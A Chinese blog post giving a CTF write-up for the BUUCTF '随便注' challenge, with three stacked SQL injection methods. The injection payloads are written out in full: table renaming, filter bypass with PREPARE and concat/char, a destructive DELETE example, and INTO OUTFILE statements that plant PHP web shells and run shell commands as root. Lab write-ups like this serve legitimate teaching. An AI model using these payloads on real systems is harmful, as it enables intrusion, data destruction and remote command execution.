mysql解题思路_BUUCTF-Web-随便注(三种解题思路)

原创

小九丸 于 2021-01-28 07:10:30 发布 72 收藏
文章标签： mysql解题思路

本文链接：https://blog.csdn.net/weixin_34177886/article/details/113465002

知识点：SQL注入-堆叠注入,sql预处理语句,巧用contact()函数绕过

堆叠注入原理:

在SQL中，分号(;)是用来表示一条sql语句的结束。试想一下我们在分号(;)结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union 或者union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。例如以下这个例子。

用户输入：1; DELETE FROM products

服务器端生成的sql语句为：(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products

当执行查询后，第一条显示查询信息，第二条则将整个表进行删除

方法一：重命名+堆叠注入

打开题目，显示如下界面，观察后猜测是sql注入

image

0x01:判断是否存在注入，注入是字符型还是数字型

输入1'发现不回显

输入1' #显示正常

应该是存在sql注入了

输入1' or '1'='1,正常回显，应该是字符型

image

0x02:猜解SQL查询语句中的字段数

输入1' order by 1 # 成功回显

image

输入1' order by 2 # 成功回显

image

输入1' order by 3 # 回显错误

[图片上传失败...(image-2ea278-1567002658869)]

所以只有两个字段

0x03:显示字段

输入1′ union select 1,2 # 回显一个正则过滤规则

image

过滤了 select，update，delete，drop，insert，where 和 点

过滤了这么多词，是不是有堆叠注入？尝试堆叠注入

0x04：查询数据库

输入1';show databases;# 成功回显

image

说明存在堆叠注入

0x05：查询表

输入1';show tables;# 成功回显

image

得到两个表words和1919810931114514

0x06：查询表中字段

坑点：mysql中点引号(')和反勾号(`)的区别

linux下不区分，windows下区分

区别:

单引号(')或双引号主要用于字符串的引用符号

eg：mysql> SELECT 'hello', "hello" ;

反勾号(`)主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]

eg:`mysql>SELECT * FROM `table` WHERE `from` = 'abc' ;

输入1'; show columns from `words`; # 字段使用的是反勾号(`)

image

输入1'; show columns from `1919810931114514`; # 字段使用的是反勾号(`)

image

可以看到1919810931114514中有我们想要的flag字段

现在常规方法基本就结束了，要想获得flag就必须来点骚姿势了

因为这里有两张表，回显内容肯定是从word这张表中回显的，那我们怎么才能让它回显flag所在的表呢

内部查询语句类似 :select id, data from word where id =

他既然没过滤 alert 和 rename，那么我们是不是可以把表改个名字，再给列改个名字呢。

先把 words 改名为 words1，再把这个数字表改名为 words，然后把新的 words 里的 flag 列改为 id (避免一开始无法查询)。

payload:

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

image

接着输入1' or '1'='1 #,查询就得到flag

image

方法二：预处理语句+堆叠注入

预处理语句使用方式：

PREPARE name from '[my sql sequece]'; //预定义SQL语句

EXECUTE name; //执行预定义SQL语句

(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句

预定义语句也可以通过变量进行传递:

SET @tn = 'hahaha'; //存储表名

SET @sql = concat('select * from ', @tn); //存储SQL语句

PREPARE name from @sql; //预定义SQL语句

EXECUTE name; //执行预定义SQL语句

(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句

本题即可利用char()方法将ASCII码转换为SELECT字符串，接着利用concat()方法进行拼接获得查询的SQL语句，来绕过过滤或者直接使用concat()方法绕过

char()根据ASCII表返回给定整数值的字符值

eg:

mysql> SELECT CHAR(77,121,83,81,'76');

-> 'MySQL'

contact()函数用于将多个字符串连接成一个字符串

contact (str1,str2,…)

eg:

mysql> SELECT CONCAT('My', 'S', 'QL');

-> 'MySQL'

char(115,101,108,101,99,116)'select'

payload1：不使用变量

1';PREPARE jwt from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE jwt;#

输入payload1直接得到flag

image

payload2：使用变量

1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE jwt from @sql;EXECUTE jwt;#

输入payload2直接得到flag

image

payload3：只是用contact(),不使用char()

1';PREPARE jwt from concat('s','elect', ' * from `1919810931114514` ');EXECUTE jwt;#

image

方法三：利用命令执行Getflag

查询了一下用户竟然是root

1';Set @sql=concat("s","elect user()");PREPARE sqla from @sql;EXECUTE sqla;

image

那么写个执行命令的shell吧(绝对路径猜的,一般是服务器网站根目录/var/www/html)

1';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php"');PREPARE sqla from @sql;EXECUTE sqla;

利用char(46)<==>.从而绕过关键词.过滤

Mysql into outfile语句，可以方便导出表格的数据。同样也可以生成某些文件。因此有些人会利用sql注入生成特定代码的文件，然后执行这些文件。将会造成严重的后果。

Mysql into outfile 生成PHP文件

SELECT 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E into outfile '/var/www/html/fuck.php'

最后会在/var/www/html/路径下， 生成fuck.php文件

这里不走寻常路，执行打算利用我们的shell查询flag(账号密码直接读取首页就可以看到)

利用一句话木马执行任意mysql命令(双引号中的内容会被当做shell命令执行然后结果再传回来执行)

uroot:用户名root proot:密码root

/1.php?1=mysql -uroot -proot -e "use supersqli;select flag from \`1919810931114514\`;"

image

参考：

SQL注入-堆叠注入

SQL Injection8(堆叠注入)——强网杯2019随便注

[Writeup]BUUCTF_Web_随便注

MySQL的SQL预处理(Prepared)

利用Mysql into outfile给网站留后门

shell处理mysql增、删、改、查